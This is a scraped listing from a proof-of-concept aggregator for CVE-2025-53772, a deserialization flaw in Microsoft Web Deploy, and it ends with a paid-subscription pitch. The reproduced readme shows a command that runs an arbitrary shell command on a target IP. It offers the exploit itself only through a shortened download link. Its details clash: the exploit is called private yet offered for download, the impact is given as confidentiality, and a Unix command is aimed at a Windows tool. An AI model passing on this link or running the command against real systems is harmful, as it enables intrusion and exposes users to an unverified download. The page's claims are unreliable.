CVE-2025-53772 PoC — Web Deploy Remote Code Execution Vulnerability

Source

https://github.com/fortihack/CVE-2025-53772

Associated Vulnerability

Title: Web Deploy Remote Code Execution Vulnerability (CVE-2025-53772)
Description:Deserialization of untrusted data in Web Deploy allows an authorized attacker to execute code over a network.

Readme

# CVE-2025-53772

## Overview

CVE-2025-53772 is a notable vulnerability found in Microsoft's Web Deploy, a tool widely utilized for deploying web applications and services.

## Details

- **CVE ID**: [CVE-2025-53772](https://nvd.nist.gov/vuln/detail/CVE-2025-53772)
- **Published**: 2025-08-12
- **Impact**: Confidentiality
- **Exploit Availability**: Not public, only private.

## Vulnerability Description

This vulnerability arises from the improper handling of untrusted data during the deserialization process, which can allow an authorized attacker to execute arbitrary code over a network.

## Affected Versions

ANY Web Deploy 4.0

## Running

To run exploit you need Python 3.9.
Execute:
```bash
python exploit.py -h 10.10.10.10 -c 'uname -a'
```

## Exploit:
### [Download here](http://bit.ly/484dFQ8)

File Snapshot

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →